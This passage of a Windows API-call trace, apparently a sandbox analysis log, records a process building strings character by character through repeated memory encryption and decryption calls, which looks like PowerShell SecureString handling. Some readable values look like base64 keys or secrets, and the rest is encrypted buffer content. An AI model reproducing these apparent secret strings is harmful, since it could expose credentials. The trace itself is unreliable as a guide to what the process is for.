MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.688] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤俘৲ᐏ씓ਟ閡齆") returned 0x20 [0254.688] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤俘৲ᐏ씓ਟ閡齆") returned 0x20 [0254.688] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.688] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8JoFtJDZlOoyMᣟ") returned 0x20 [0254.688] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.688] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᝅṞ≷䱲纛\꧟ɥ∸) returned 0x20 [0254.688] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᝅṞ≷䱲纛\꧟ɥ∸) returned 0x20 [0254.688] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.689] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8JoFtJDZlOoyMx") returned 0x20 [0254.689] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.689] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱≕) returned 0x20 [0254.689] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱≕) returned 0x20 [0254.689] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱≕) returned 0x20 [0254.689] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱≕) returned 0x28 [0254.689] SystemFunction041 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.689] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8JoFtJDZlOoyMxy憱닇䉽퀸泫舁領") returned 0x28 [0254.689] SystemFunction040 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.690] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱䘳ꕓ櫫戴篣㡵⋏) returned 0x28 [0254.690] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱䘳ꕓ櫫戴篣㡵⋏) returned 0x28 [0254.690] SystemFunction041 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.690] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8JoFtJDZlOoyMxyN닇䉽퀸泫舁領") returned 0x28 [0254.690] SystemFunction040 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.690] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱뱕번뇑♃䷗⊮≺) returned 0x28 [0254.690] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱뱕번뇑♃䷗⊮≺) returned 0x28 [0254.690] SystemFunction041 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.690] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8JoFtJDZlOoyMxyNM䉽퀸泫舁領") returned 0x28 [0254.690] SystemFunction040 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.690] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱ꅕࠍ紒㟅★\꣜獵縃") returned 0x28 [0254.690] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱ꅕࠍ紒㟅★\꣜獵縃") returned 0x28 [0254.690] SystemFunction041 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.692] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8JoFtJDZlOoyMxyNMt퀸泫舁領") returned 0x28 [0254.692] SystemFunction040 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.692] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱ፕ鏵轢㦬ꛯ⊮) returned 0x28 [0254.692] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱ፕ鏵轢㦬ꛯ⊮) returned 0x28 [0254.692] SystemFunction041 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.692] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8JoFtJDZlOoyMxyNMtM泫舁領") returned 0x28 [0254.693] SystemFunction040 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.693] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱筕꫉粞ꨝ吻鎒ボ∠) returned 0x28 [0254.693] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱筕꫉粞ꨝ吻鎒ボ∠) returned 0x28 [0254.693] SystemFunction041 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.693] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8JoFtJDZlOoyMxyNMtML舁領") returned 0x28 [0254.693] SystemFunction040 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.693] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱롕銫캮㦵눞⊶) returned 0x28 [0254.693] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱롕銫캮㦵눞⊶) returned 0x28 [0254.693] SystemFunction041 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.693] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8JoFtJDZlOoyMxyNMtMLl領") returned 0x28 [0254.693] SystemFunction040 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.693] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱籕蘥噓཯脻☸⋄) returned 0x28 [0254.693] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱籕蘥噓཯脻☸⋄) returned 0x28 [0254.694] SystemFunction041 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.694] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8JoFtJDZlOoyMxyNMtMLlD") returned 0x28 [0254.694] SystemFunction040 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.694] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱ᑕ\䏟㔁୨鿻ꬎ뻰") returned 0x28 [0254.694] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱ᑕ\䏟㔁୨鿻ꬎ뻰") returned 0x28 [0254.694] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱ᑕ\䏟㔁୨鿻ꬎ뻰") returned 0x28 [0254.695] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱ᑕ\䏟㔁୨鿻ꬎ뻰") returned 0x30 [0254.695] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0254.695] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8JoFtJDZlOoyMxyNMtMLlDY筊䉨놦ᐔᵱ鈏珋") returned 0x30 [0254.695] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0254.695] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱ᑕ\䏟㔁୨鿻ꬎ뻰鈉ᐟ闫쟰勹橂䬥鱰") returned 0x30 [0254.695] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱ᑕ\䏟㔁୨鿻ꬎ뻰鈉ᐟ闫쟰勹橂䬥鱰") returned 0x30 [0254.695] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0254.695] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8JoFtJDZlOoyMxyNMtMLlDYV䉨놦ᐔᵱ鈏珋") returned 0x30 [0254.695] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0254.695] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱ᑕ\䏟㔁୨鿻ꬎ뻰暅勞竩냩紧") returned 0x30 [0254.695] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱ᑕ\䏟㔁୨鿻ꬎ뻰暅勞竩냩紧") returned 0x30 [0254.695] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0254.695] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8JoFtJDZlOoyMxyNMtMLlDYV4놦ᐔᵱ鈏珋") returned 0x30 [0254.695] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0254.696] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱ᑕ\䏟㔁୨鿻ꬎ뻰됓熞቞飤됊诎貓侟") returned 0x30 [0254.696] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱ᑕ\䏟㔁୨鿻ꬎ뻰됓熞቞飤됊诎貓侟") returned 0x30 [0254.696] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0254.696] SysStringLen (param_1="p1LwEkB8Z4/iz04swj8JoFtJDZlOoyMxyNMtMLlDYV4=ᐔᵱ鈏珋") returned 0x30 [0254.696] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0254.696] EtwEventActivityIdControl () returned 0x0 [0254.696] EtwEventActivityIdControl () returned 0x0 [0254.696] EtwEventActivityIdControl () returned 0x0 [0254.696] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.697] EtwEventActivityIdControl () returned 0x0 [0254.697] EtwEventActivityIdControl () returned 0x0 [0254.697] EtwEventActivityIdControl () returned 0x0 [0254.698] SysStringLen (param_1="") returned 0x8 [0254.698] SysStringLen (param_1="N") returned 0x8 [0254.698] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.698] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0254.698] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0254.698] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.698] SysStringLen (param_1="ND") returned 0x8 [0254.698] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.698] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0254.698] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0254.698] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.698] SysStringLen (param_1="NDZ") returned 0x8 [0254.698] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.699] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0254.699] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0254.699] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.699] SysStringLen (param_1="NDZl") returned 0x8 [0254.699] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.699] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0254.699] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0254.699] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.699] SysStringLen (param_1="NDZlO") returned 0x8 [0254.699] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.699] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0254.699] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0254.699] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.700] SysStringLen (param_1="NDZlOD") returned 0x8 [0254.700] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.700] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0254.700] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0254.700] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.700] SysStringLen (param_1="NDZlODR") returned 0x8 [0254.700] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.700] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0254.700] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0254.700] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.700] SysStringLen (param_1="NDZlODRm") returned 0x8 [0254.700] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.701] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0254.701] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0254.701] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0254.701] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0254.701] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.702] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0254.702] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.702] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0254.702] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0254.702] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.702] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0254.702] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.702] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0254.702] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0254.702] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.702] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0254.702] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.702] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0254.703] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0254.703] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.703] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0254.703] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.703] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0254.703] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0254.703] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.703] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0254.703] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.703] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0254.703] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0254.703] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.704] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0254.704] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.704] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0254.704] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0254.704] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.704] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0254.704] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.704] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0254.704] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0254.704] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.704] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0254.704] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.705] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0254.705] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0254.705] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0254.705] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0254.705] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.705] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0254.705] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.706] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0254.706] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0254.706] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.706] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0254.706] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.706] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0254.706] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0254.706] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.708] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0254.708] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.708] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0254.708] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0254.708] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.708] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0254.708] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.708] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0254.708] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0254.708] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.708] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0254.709] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.709] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0254.709] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0254.709] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.709] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0254.709] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.709] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0254.709] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0254.709] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.709] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0254.709] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.709] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0254.709] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0254.709] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.710] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0254.710] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.710] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0254.710] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0254.710] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0254.711] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0254.711] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, 